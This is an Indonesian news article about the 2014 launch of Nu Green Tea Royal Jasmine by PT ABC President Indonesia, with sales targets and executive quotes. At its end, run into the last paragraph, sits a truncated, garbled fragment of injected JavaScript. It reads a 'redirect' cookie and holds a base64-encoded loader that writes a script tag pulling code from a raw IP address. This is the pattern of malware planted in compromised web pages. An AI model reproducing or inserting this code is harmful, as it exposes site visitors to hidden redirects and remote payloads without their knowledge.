Berdasarkan data Euromonitor 2012, pertumbuhan minuman siap saji (RTD) teh mencapai 10% dengan perkiraan volume mencapai 1,2 miliar liter di tahun 2014. Pasar minuman teh di Indonesia yang semakin tersegmentasi dan masih terbukanya peluang pasar yang besar menjadi latar belakang diluncurkannya varian baru Nu Green Tea Royal Jasmine pada Rabu (16/4) di pabrik PT ABC President Indonesia, di Karawang Timur.
Penjualan Nu Green Tea pada tahun 2013 mencapai Rp700 miliar. Di tahun 2014 targetnya tumbuh 20% atau hampir Rp 1 miliar.
Dwi Hatmadji, Chief Operating Officer PT ABC President Indonesia mengatakan, "Nu Green Tea Royal Jasmine diciptakan untuk memenuhi permintaan pasar. Saat ini belum ada industri yang berani memproduksi produk perpaduan teh hijau dan gula batu dalam kemasan PET, maka kami memberanikan diri meluncurkan produk varian ini."
Lebih lanjut ia menjelaskan pertumbuhan dari kelas menengah konsumen Indonesia berdasarkan Badan Pusat Statistik (tentang Sensus Nasional), meningkat secara signifikan sebesar 96,8%. Tercatat dari total 1,6 juta orang di tahun 2004 menjadi 50 juta di tahun 2011. Untuk mencapai target tersebut, berbagai pendekatan dilakukan dengan tetap fokus pada pasar minuman siap saji (RTD).
Diantaranya ekspansi yang agresif pada jaringan distribusi (modern, GT & on-premise), melakukan kampanye promosi yang agresif termasuk penempatan display regular, kampanye TV komersil, social media serta strategi harga yang menarik. Dengan diluncurkannya varian baru Royal Jasmine ini, ABC President Indonesia menargetkan pertumbuhan 20%.
"Nu Green Tea pada tahun 2013 penjualannya mencapai Rp700 miliar. Di tahun 2014 targetnya tumbuh 20% atau hampir Rp 1 miliar. Pasar minuman siap saji (RTD) teh yang tumbuh dengan perkiraan volume 1,2 miliar liter di tahun 2014, berarti ada 12 triliun pasarnya yang diperebutkan, sehingga masih besar peluangnya," jelas Dwi kembali.
Nurkori, Head of Marketing PT ABC President Indonesia, mengatakan, "Semua produk minuman PT ABC President Indonesia menggunakan teknologi Aseptic Cold Filling, yang steril, minim human touch, dan dimasukan dalam kondisi dingin sehingga tidak ada rasa yang terbuang."
Menurutnya, Nu Green Tea leading dengan menguasai 50% market share. Target market dari diluncurkannya varian baru Nu Green Tea Royal Jasmine menyasar seluruh segmen, khususnya anak muda. PT ABC juga masih menggunakan cara komunikasi yang diterapkan sejak tahun lalu yaitu “Haus Bandel”. function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)